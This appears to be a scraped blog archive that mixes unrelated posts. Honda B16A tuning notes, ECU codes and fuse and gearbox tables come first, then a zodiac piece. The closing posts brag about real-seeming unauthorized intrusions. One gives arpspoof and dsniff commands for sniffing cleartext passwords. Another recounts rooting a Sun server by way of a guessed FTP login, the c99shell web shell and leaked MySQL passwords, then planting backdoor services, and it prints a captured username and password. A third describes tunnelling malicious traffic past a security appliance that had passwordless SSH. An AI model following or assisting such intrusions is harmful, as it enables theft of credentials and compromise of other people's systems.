Below is a table comparing the percentage air flow increase for all of the different throttle bodies that I found during my investigation. The air flow increase is based on the approximate difference in cross sectional area at the throttle plate (allowing for the size of the spindle) when compared to the first generation B16A throttle body.

Air flow increase measurements
Model	Throttle Plate Size	Air Flow Increase
B16A G1	58mm	0% (all comparisons to this)
B16A G2 and G3	60mm	7.6%
B16B	60mm	7.6%
B18C	60mm	7.6%
H22A	60mm	7.6%
B18C Type R	62mm	15.4%
B16B	62mm	15.4%
Spoon 70mm	62mm	15.4%
RC Engineering	64mm	23.5%
Ford XF Falcon	65mm or 68mm	27.6% or 40.5%
Erick's Racing	68-66mm or 70-68mm	40.5% or 49.4%

So, I ended up purchasing a wrecked 65mm Ford XF throttle body. It was harder to find a 68mm throttle body, and the approximate 27% increase in air flow sounded more realistic for the 1600cc engine than the massive 40% you would get with a 68mm TB. Once I had the throttle body I started trying to figure out what fabrication would be required to get it to mate with the Honda intake manifold and various electronic sensors.

Below is a picture comparing the first generation B16A throttle body with the wrecked Ford XF throttle body. The Ford XF throttle body (on the left) is visually much much larger than the stock Honda one. There is also enough aluminium in the Ford throttle body to bore it all the way out to a 70mm throttle plate. Click on the picture to get a larger view of it.

It ended up being a bit of a mission to install the Ford XF throttle body. Now things are finally running fine with it and I think the improvements to the torque curve were well worth it. There wasn't much drop in torque down low, and the increase in torque up high was reasonably substantial as shown in the latest B16A Dyno Runs.

Honda B16A ECU

2007-04-25T05:00:00.000-07:00

Honda B16A ECU Error Codes

The table below lists the ECU error codes that can be thrown by a Honda B16A ECU. These codes have been copied directly from a Honda Service Manual. I can't remember which year Honda it was for, but I think it was for a 5th generation Honda Civic.

How to Obtain ECU Error Codes - How to Reset ECU Error Codes

These error codes are very useful for determining the cause of any problems that you may have, for example after doing a , Ford XF Throttle Body Swap or for general maintenance purposes.

Honda ECU Diagnostic Trouble Codes
Diagnostic Trouble Code (DTC)	System Indicated
0	Engine Control Module (ECM)
1	Heated Oxygen Sensor (HO2S)
3	Manifold Absolute Pressure (MAP Sensor)
4	Crankshaft Position (CKP Sensor)
6	Engine Coolant Temperature (ECT Sensor)
7	Throttle Position (TP Sensor)
8	Top Dead Center Position (TDC Sensor)
9	No. 1 Cylinder Position (CYP Sensor)
10	Intake Air Temperature (IAT Sensor)
13	Barometric Pressure (BARO Sensor)
14	Idle Air Control (IAC Valve)
15	Ignition Output Signal
16	Fuel Injector
17	Vehicle Speed Sensor (VSS)
20	Electrical Load Detector (ELD)
21	Variable Valve Timing & Valve Lift Electronic Control Solenoid Valve (VTEC Solenoid Valve)
22	Variable Valve Timing & Valve Lift Electronic Control Pressure Switch (VTEC Pressure Switch)
23	Knock Sensor (KS)
30	A/T FI Signal A
31	A/T FI Signal B
41	Heated Oxygen Sensor (HO2S) Heater
43	Fuel Supply System

How to Obtain ECU Error Codes

To determine if your ECU has an error code:

Locate the ECU under the carpet in the passenger foot well.
Find the red LED in the center of the ECU.
Turn the ignition to ON. The red LED should flash once when this happens to indicate that the ECU has power.
If there are no further flashes then there are no error codes.
If there are further flashes then there are one or more error codes.

To get the number of the stored error code you need to count the number of long flashes and the number of short flashes. The long flashes will occur before the short ones. A long flash represents 10, and a short flash indicates 1. So if the flashes look like _ _ - - (where _ is a long flash and - is a short one) then the error code is 22.

If there are mulitple error codes, then there will be a noticeable pause before the next code starts. If for some reason you end up with an error code that is not on the list above, make sure you are not joining together flashes from two separate error codes. If you are sure about the error code and it is not above, then perhaps do a search for other Honda ECU error codes. The entire list is longer than above for engines other than first generation B16A engines.

How to Reset ECU Error Codes

To reset the error codes stored in the ECU you pretty much need to disconnect the battery. This is the only way I have managed to do it thus far. Apparently you can remove the ECU fuse in the engine bay and the clock fuse in the cabin to reset it, but I haven't had a chance to test it yet even though I got the Fuse Panel Translation months ago. Removing the ECU fuse in the engine bay alone does not reset the error codes no matter how long you leave it out.

EF9 Fuse Panel Translation

This page contains the Japanese to English fuse panel translation for an EF9 Honda Civic SiR. One of the people at Work speaks and can read Japanese. So a big thanks to Phillip Barlow for the translation that appears below.

Japanese Version - English Translation - European Fuse Panel

Japanese Version

The picture below is a scanned version of the Japanese fuse panel. Apparently the Japanese found on the fuse panel is typical of most Japanese to Western European conversions. The characters that appear are actually the Japanese phonetics for the English version of the words. This is kind of similar to the phonetic descriptions seen next to words in most English dictionaries, except using Japanese characters. For example, the translation for radio might sound something like rajio from the Japanese phonetic symbols.

English Translation

The table below contains the English translations of the Japanese phonetic characters. Note that the direct conversion from Japanese to English is sometimes a little off.

Thanks to Chris Schoen for letting me know that the Meter light in fuse 7 refers to the lights in the instrument/speedo cluster. It is also likely that fuse 17 is just for the radio, and that fuse 12 is for the cigarette lighter, clock and interior light. I will test these on my car at some stage and confirm the results.

Chris Schoen has also created a Word document that contains the English fuse translation information below in a format that can be directly printed and placed into the existing slot for the fuse panel. Simply download or open the and print it out onto some thin card.

1990 EF9 JDM Honda Civic SiR Fuse Panel Translation
Fuse	English Translation
1	Reverse Lights Turn Signals [Indicators]
2	Starter Signal
4	R Headlight High Beam
5	L Headlight High Beam
6	Sunroof
7	Tail Light Meter [Instrument/Speedo Cluster] Lights License Plate Light
10	L Headlight Low Beam
11	R Headlight Low Beam
12	Clock Radio Internal Light
13	Wiper Washer (Power Windows and Sunroof Relay)
14	Alternator Solenoid
15	Cooling Fan
17	Cigar Lighter Relay
18	Rear Defroster [Demister] Relay (Heater Motor Relay)
20A	R Power Window
20A	L Power Window
30A	Heater Motor

Set Idle

2007-04-25T04:56:00.000-07:00

Set Idle

Setting the idle correctly on a Honda Civic (or any Honda) is important. If the idle is not set correctly the car will either idle too low, or it will idle too high causing the idle to surge up and down.

Instructions to set the Idle

Warm the car up to operating temperature. This is generally determined when the radiator fan turns on if the car is stationary.
Unplug the IACV valve on the back of the intake manifold. This needs to be done because the IACV valve is what the ECU uses to dynamically control the idle by allowing more or less air to bypass the throttle plate. Be careful not to burn yourself!
Set the idle to 600rpm using the idle control screw. This screw controls the static amount of air that bypasses the throttle plate.
Turn the car off and plug in the IACV valve.Reset the ECU. This needs to be done because the ECU will have thrown an ECU error code.
Restart the car. The idle should be running nice and close to 750rpm.

There are other things that can affect the idle, but these are much less likely.

The throttle plate is worn or is not closing far enough and and is letting too much air past. If this is the problem then you would not have been able to adjust the throttle down to 600rpm with the IACV valve unplugged. Check the adjustment of the throttle stop to make sure that the throttle plate is closing enough.
The voltage of the throttle position sensor is not correct. It should read 0.5V when the throttle is closed and 4.5V at WOT. This is not easy to test. Refer to your Honda Service Manual for instructions.
Other gremlins, which I haven't remembered...

B Series Engine Statistics

2007-04-25T04:55:00.001-07:00

JDM B Series Engine Statistics
	B16A G1	B16A G2	B16A G3	B16B	B18C 96 spec.R
Type	Water-cooled 4 stroke	Same	Same	Same	Same
Cylinder Arrangement	Inline 4 cylinder, transverse	Same	Same	Same	Same
Block Height ¹	263mm	Same	Same	270mm	270mm
Bore x Stroke	81.0mm x 77.4mm	Same	Same	Same	81.0mm x 87.2mm
Displacement	1595cc	Same	Same	Same	1797cc
Compression Ratio	10.2 : 1	10.4 : 1	10.4 : 1	10.8 : 1	11.1 : 1
Valve Train	4 valves per cylinder, belt driven DOHC VTEC	Same	Same	Same	Same
Peak Power	160ps @ 7600rpm	170ps @ 7800rpm	170ps @ 7800rpm	185ps @ 8200rpm	200ps @ 8000rpm
Peak Torque	15.5kgm @ 7000rpm	16.0kgm @ 7300rpm	16.0kgm @ 7300rpm	16.3kgm @ 7500rpm	18.5kgm @ 7500rpm
Specific Output	100ps/l	106.3ps/l	106.3ps/l	115.6ps/l	111.1ps/l
Valve Size (Intake/Exhaust)	33.0/28.0mm	Same	Same	Same	Same
Intake Opening (BTDC)	10	15	15	18	15
Intake Closing (ABDC)	40	45	45	45	45
Intake Duration	230	240	240	243	240
Exhaust Opening (BBDC)	40	40	40	45	45
Exhaust Closing (ATDC)	7	7	7	10	10
Exhaust Duration	227	227	227	235	235
Overlap	17	22	22	28	25
Intake Valve Lift	10.6mm	10.7mm	10.7mm	11.5mm	11.5mm
Exhaust Valve Lift	9.4mm	9.4mm	9.4mm	10.5mm	10.5mm
Valve Springs (Intake/Exhaust)	Dual/Single	Dual/Single	Dual/Single	Dual/Dual	Dual/Dual

Honda Gearbox Ratios

2007-04-25T04:54:00.001-07:00

JDM Honda Gearbox Ratios
Code	S80	Y21/Y80/S80/S4C	S80/Y80	Y1	YS1	S1/J1
Car	JDM Integra Type R 98+ (LSD)	JDM 96-97 Integra R (LSD) JDM Civic R [EK9] (LSD) JDM Civic SiR [EK4, EG6] (optional LSD)	JDM SiR-G (optional LSD)	JDM CRX/Civic SiR [EF8, EF9] (optional LSD)	JDM 92-93 XSi Integra (optional LSD)	JDM 90-91 Integra XSi [DA-6]
Type	Hydraulic	Hydraulic	Hydraulic	Cable	Cable	Cable
1st	3.230	3.230	3.230	3.166	3.307	3.230
2nd	2.105	2.105	1.900	2.052	2.105	2.105
3rd	1.458	1.458	1.360	1.416	1.458	1.458
4th	1.034	1.107	1.034	1.103	1.107	1.107
5th	0.787	0.848	0.787	0.870	0.880	0.848
Reverse	3.000	3.000	3.000	3.000	3.000	3.000
Final Drive	4.785	4.400	4.400	4.266	4.400	4.400

Cancer Man

2007-04-14T06:20:00.001-07:00

The most sensitive man and the weakest emotional type in all Zodiac. Most
Artists are Cancer. Cancer is controlled by the "Moon" and the moon change
it's shape daily, so Cancer man's emotional and moods change all the time
too. You will confuse with him and yet it is his constantly changes that
"Charm" you. He never go to get what he wants directly, but he will wait for
a chance and opportunity to do so. Once he gets what he wants, he will not
loose it, except if he get tired of it by himself.

The most sensitive man who can not stand rejection. He cares what other
people feel or think of him. He hates loosing face and he tends to over
protected himself, so sometimes people might think he is a cold person.

Gifted, creative, imaginative, is Cancer. A mystery and complexity play a
major role in a life of a Cancer man. He could be very funny, very quiet,
suddenly very sad. Living with him could be very unexpected, for you will
not know what is his next mood. If you like excitement and surprise, you
have the right guy and never have a chance to get bored.

He thinks of his home as "nest" and it is the safest place for him. If he
feels hurt or depress he will stay at home alone quietly. Once he feels
better, he will come out of his retreat and lives normally again. Being a
looser is not him.

It is so easy to fall in love with this guy because he is gentle and a very
polite guy. His wit and creative mind could win your affection. He will come
out from his nest to protect you even if he is not opening himself up to
other people much. Not many people will win his heart. His security is only
when he has money in his pocket. Once he feels secure then he might think of
having a happy family. Even he likes to make and keep money, he is not
stingy. Spending money is part of his good image, so he will be happy to
spent money to take you out to a very expensive restaurant or buy a jewelry
for you. Certainly when he has money OK.

He is possessive to everything's that he thinks belong to him. Don't try to
talk to another cute guy in front of him, he will get suspicion because he
is not very secure or confident in himself for this kind of competition.

Once you know each other too much, he will start to look for new excitement,
but not to worry for he will always think of you. If he thinks you are the
true love for him, and you try once to disappear. You will be sure he will
come and look for you.

He is a shy guy, but if he likes you. You can get up in the morning and see
that he is in front of your house everyday till you go out with him, a very
persistent guy.

He likes a secure, cheerful and lively woman, confident but at the same time
always act proper and appropriate. He likes a secure woman, but able to
adjust to his rapid changes. A very difficult type to find woman indeed.

In the beginning, you and him will be so sugary sweet together and he will
only think of you. This so "super romantic" will not last forever, so don't
slip this chance. If you are the one who want his interest, then act and
make yourself interesting. Be a supportive person and give him compliment
sometimes, but not too much till he thinks you are not sincere.

Unlike many other Zodiac, if he is mad then you better get out of that room.
He will calm down by himself. Giving him a slight touch on his shoulders or
concerned facial expression are enough. He loves his mother, so try to be
his mother favorite, but do not act like his mother!

Installing Dsniff on SunOS 5.8

2007-04-04T03:15:00.000-07:00

this is just a simple and lame instruction on how to start sniffing the network

1st thing to do is to make sure that you have the following:

1)openssl pkg-get install openssl
2)libgcc pkg-get install libgcc
3)gcc pkg-get install gcc
4)libnet pkg-get install libnet
5)libnids pkg-get install libnids
6)libpcap pkg-get install
7)berkeley DB just pkg-get install db

all of them are from sunfreeware.com

then after you have completed the following it's time to *sniff*sniff*

pkg-get install dsniff

chec the installation directory of your dsniff.Mine is at /usr/local/sbin

start th arpspoofing
./arpspoof -t targetA targetB 2>/dev/null 1>/dev/null &
./arpspoof -t targetB targetA 2>/dev/null 1>/dev/null &

the function of 2>/dev/null 1>/dev/null & is to make the process output in /dev/null and not at the console which is very irritating actually unless you want to see it;P

then just start ./dsniff >sniffeddata

Ive tried ./dsniff -w sniffdata to output the data to a file but unfortunately my sniffer sees nothing from the network

then just wait for 1 day..and there will be some clear text password and user what will be sniffed

I'm still working on the sshmitm and webmitm...still don't understand the manual..the author didn't give any info:(
Version: 2.4
Usage: sshmitm [-d] [-I] [-p port] host [port]<--what is d and what is I?

if anybody know this..can u put it in the comment

Owning a Sunos 5.8

2007-04-03T22:23:00.001-07:00

Dont know what i was thinking on that day..i was given the guessed password for the ftp on the server which was just a normal user account for updating the web page on the server.

after uploading my phpshell which was c99shell i wonder how the heck am i going to get the root access on thin damn server??! becoz it dont have a telnet server onand im not very familar with with this so called "sun" server.

know what the department was so stupid that he put the local MYSQL passwords in the configuration.inc.php fortunately the x11 are opened..hahahaha

tried it and WALLA!! PWNED..haha..nice huh for a lame chemical engineer going to be to try 0WN a sun server rite?

then there it goes~
-openssh shell installed
-squid
-telnet opened
-dsniff<--am i greedy?? -and everityhiiiiing from the sunfreeware to make this server minEEE..ahahha.. login as: root root@160.0.*.*'s password: Sun Microsystems Inc. SunOS 5.10 Generic Int_13h Patch March 2006 <--lame isnt it? Sun Microsystems Inc. SunOS 5.10 Generic Int_13h Patch March 2006 You have new mail.<--wtf???!! Sourcing //.profile-EIS..... root@matrix1 # who root pts/2 Apr 2 11:10 (1*.*.*.*) apache pts/1 Apr 2 10:58 (1*.*.*.*) i was so damn glad that i could install everything on a server that i didn't know much about for having not to sleep for almost 2 days.man..i still remember crippling to those pesky "vi" to edit the /etc/password almost different with linux. btw..just glad to have pwned another server.and sniffing the LAN somemore;P ----------------- 04/02/07 12:03:51 tcp 16*.0.*.35.1535 -> 160.0.*.*.80 (http)
POST /login/index.php HTTP/1.1
Host: blablabla
Content-type: application/x-www-form-urlencoded
Content-length: 35
username=k24527&password=sdgfsdfs

-----------------
04/02/07 12:09:02 tcp 160.*.*.7.1740 -> 160.0.*.*.80 (http)
GET http://league.yesky.com/jsp/siteOwner/sitetext.html?sid=11226&id=55&advert=yesky11226&cid=1122650&sname=cb_advert_block5511226&amp;amp;key=&life=5550&pass=&width=180&amp;amp;bgcolor=FFFFFF&bgcolor2=FFFFFF&bcolor=00FE0C&fcolor=FA1C05&fcolor2=FA1C05&ref=http%3A//www.814e.com/index.html%3Fgoogle HTTP/1.0
Host: league.yesky.com

Tunneling through Viruswall Enforcer hardware

2007-04-03T22:20:00.000-07:00

from my old blog

quoted this from trendmicro:

"Network VirusWall™ Enforcer delivers new plug-and-protect Network Access Control (NAC) to protect your networks against the fastest growing source of infection—the mobile and remote workforce. This second generation Network VirusWall appliance controls network access by ensuring devices—managed or unmanaged, local or remote—comply with corporate security policies—before they can access your network.

Network VirusWall Enforcer scans devices for the most up-to-date security software and critical Microsoft patches—without requiring an agent to be pre-installed on a device. Non-compliant devices are immediately quarantined and sent through automatic remediation. The appliance also builds on proven Network VirusWall security, filtering network traffic to detect and block network worms and bots."

I didn't know that virusswall enforcer had ssh with no password..(been wondering id they had to protect others but the same time don't protect itself)

Tried a few username and it worked just what i need it to be..tunneling

then just leave it there..

Then i just create a dynamic tunnel at port 1082

and i'm done..works just fine~

tried tunneling malicious connection and undetected by the Enforcer:)

WTF??!!! just forgot my password

2007-04-03T22:19:00.000-07:00

can you see the difference between interrupt13.blogspot.com and interrupt13h.blogspot.com?

dammit..i just forgot the account name that i have just created..what the hell am thinking at that time?? damn pissed off-n-